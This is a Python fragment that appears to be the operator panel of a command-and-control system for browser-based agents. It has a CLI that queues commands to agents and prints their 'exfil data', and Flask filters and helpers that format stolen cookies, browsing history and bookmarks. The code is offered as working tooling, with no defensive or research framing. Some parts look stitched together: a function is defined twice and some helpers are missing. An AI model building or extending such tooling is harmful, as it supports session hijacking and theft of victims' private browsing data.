@click.argument('agent_id')
|
|
@click.argument('command')
|
|
@click.option('--desc', default='No Description', help='Task description.')
|
|
@click.option('--params', default='', help='JSON string for parameters.')
|
|
def assign_task(agent_id, command, desc, params):
|
|
"""Assign a task to an agent."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
c.execute("SELECT * FROM agents WHERE agent_id = ?", (agent_id,))
|
|
agent_row = c.fetchone()
|
|
if not agent_row:
|
|
click.echo("Invalid agent_id.")
|
|
conn.close()
|
|
return
|
|
|
|
c.execute("""INSERT INTO tasks (agent_id, description, command, parameters)
|
|
VALUES (?, ?, ?, ?)""",
|
|
(agent_id, desc, command.upper(), params))
|
|
conn.commit()
|
|
conn.close()
|
|
|
|
click.echo(f"Assigned '{command}' to agent {agent_id} with desc='{desc}' params='{params}'")
|
|
|
|
@cli.command()
|
|
@click.argument('agent_id')
|
|
def show_data(agent_id):
|
|
"""Show exfil data for an agent."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("SELECT * FROM data_records WHERE agent_id = ? ORDER BY data_id DESC", (agent_id,))
|
|
rows = c.fetchall()
|
|
conn.close()
|
|
|
|
if not rows:
|
|
click.echo("No data for this agent.")
|
|
return
|
|
|
|
for i, r in enumerate(rows, 1):
|
|
click.echo(f"[{i}] Action: {r['data_type']} Time: {r['timestamp']}")
|
|
try:
|
|
p = json.loads(r['payload'])
|
|
click.echo(json.dumps(p, indent=2))
|
|
except json.JSONDecodeError:
|
|
click.echo(r['payload'])
|
|
click.echo("-" * 40)
|
|
|
|
@app.template_filter('from_json')
|
|
def from_json(value):
|
|
try:
|
|
if isinstance(value, str):
|
|
return json.loads(value)
|
|
return value
|
|
except Exception as e:
|
|
print(f"Error parsing JSON: {e}")
|
|
return {}
|
|
|
|
@app.template_filter('format_datetime')
|
|
def format_datetime(value):
|
|
try:
|
|
if isinstance(value, str):
|
|
dt = datetime.fromisoformat(value.replace('Z', '+00:00'))
|
|
else:
|
|
dt = datetime.fromtimestamp(value)
|
|
return dt.strftime('%Y-%m-%d %H:%M:%S UTC')
|
|
except Exception as e:
|
|
print(f"Error formatting datetime: {e}")
|
|
return value
|
|
|
|
@app.template_filter('calculate_status')
|
|
def calculate_status(last_seen):
|
|
if not last_seen:
|
|
return 'offline'
|
|
|
|
try:
|
|
if isinstance(last_seen, str):
|
|
last_seen = datetime.strptime(last_seen, '%Y-%m-%d %H:%M:%S')
|
|
|
|
time_diff = datetime.now() - last_seen
|
|
|
|
# More than 24 hours - offline
|
|
if time_diff > timedelta(hours=24):
|
|
return 'offline'
|
|
# Between 12 and 24 hours - idle
|
|
elif time_diff > timedelta(hours=12):
|
|
return 'idle'
|
|
# Less than 12 hours - online
|
|
else:
|
|
return 'online'
|
|
except Exception as e:
|
|
print(f"Error calculating status: {e}")
|
|
return 'offline'
|
|
|
|
# Register the filter with Jinja2
|
|
app.jinja_env.filters['calculate_status'] = calculate_status
|
|
|
|
@app.route('/api/tasks/<task_id>')
|
|
def get_task_details(task_id):
|
|
# Return task details as JSON
|
|
task = get_task_by_id(task_id)
|
|
return jsonify(task)
|
|
|
|
@app.route('/api/tasks/<task_id>/cancel', methods=['POST'])
|
|
def cancel_task(task_id):
|
|
# Cancel the task
|
|
success = cancel_task_by_id(task_id)
|
|
return jsonify({'success': success})
|
|
|
|
@app.template_filter('extract_domain')
|
|
def extract_domain(url):
|
|
try:
|
|
from urllib.parse import urlparse
|
|
return urlparse(url).netloc
|
|
except:
|
|
return url
|
|
|
|
@app.template_filter('format_timestamp')
|
|
def format_timestamp(value):
|
|
try:
|
|
if isinstance(value, str):
|
|
dt = datetime.fromisoformat(value.replace('Z', '+00:00'))
|
|
elif isinstance(value, (int, float)):
|
|
dt = datetime.fromtimestamp(value)
|
|
else:
|
|
return str(value)
|
|
return dt.strftime('%Y-%m-%d %H:%M:%S UTC')
|
|
except Exception as e:
|
|
print(f"Error formatting timestamp: {e}")
|
|
return str(value)
|
|
|
|
# Add to existing filters
|
|
app.jinja_env.filters['format_timestamp'] = format_timestamp
|
|
|
|
def timestamp_to_date(timestamp_ms, format='%d-%m-%Y'):
|
|
"""Convert timestamp to formatted date string"""
|
|
try:
|
|
# Convert milliseconds to seconds if necessary
|
|
timestamp_sec = timestamp_ms / 1000 if timestamp_ms > 1e10 else timestamp_ms
|
|
return datetime.fromtimestamp(timestamp_sec).strftime(format)
|
|
except (ValueError, TypeError):
|
|
return 'Invalid Date'
|
|
|
|
def format_datetime(value, format='%d-%m-%Y'):
|
|
"""Format datetime string to desired format"""
|
|
try:
|
|
if isinstance(value, (int, float)):
|
|
return timestamp_to_date(value, format)
|
|
elif isinstance(value, str):
|
|
# Try parsing the string as datetime
|
|
dt = datetime.fromisoformat(value.replace('Z', '+00:00'))
|
|
return dt.strftime(format)
|
|
elif isinstance(value, datetime):
|
|
return value.strftime(format)
|
|
return str(value)
|
|
except (ValueError, TypeError):
|
|
return 'Invalid Date'
|
|
|
|
# Add these filters to your Flask app
|
|
app.jinja_env.filters['timestamp_to_date'] = timestamp_to_date
|
|
app.jinja_env.filters['format_datetime'] = format_datetime
|
|
|
|
def process_cookie_data(record):
|
|
"""Process and format cookie data."""
|
|
try:
|
|
if isinstance(record['payload'], dict):
|
|
# Ensure cookies is a list
|
|
if 'cookies' in record['payload']:
|
|
if isinstance(record['payload']['cookies'], dict):
|
|
record['payload']['cookies'] = [
|
|
{'name': k, 'value': v} for k, v in record['payload']['cookies'].items()
|
|
]
|
|
else:
|
|
record['payload']['cookies'] = []
|
|
except Exception as e:
|
|
print(f"Error processing cookie data: {e}")
|
|
record['payload'] = {'cookies': [], 'domain': 'unknown'}
|
|
return record
|
|
|
|
def process_history_data(record):
|
|
"""Process and format history data."""
|
|
try:
|
|
if isinstance(record['payload'], dict):
|
|
if not isinstance(record['payload'].get('history', []), list):
|
|
record['payload']['history'] = []
|
|
except Exception as e:
|
|
print(f"Error processing history data: {e}")
|
|
record['payload'] = {'history': []}
|
|
return record
|
|
|
|
def process_bookmark_data(record):
|
|
"""Process and format bookmark data."""
|
|
try:
|
|
if isinstance(record['payload'], dict):
|
|
if not isinstance(record['payload'].get('bookmarks', []), list):
|
|
record['payload']['bookmarks'] = []
|
|
except Exception as e:
|
|
print(f"Error processing bookmark data: {e}")
|
|
record['payload'] = {'bookmarks': []}
|
|
return record
|
|
|
|
@app.template_global()
|
|
def now():
|
|
return datetime.utcnow()
|
|
|
|
if __name__ == '__main__':
|
|
cli()
|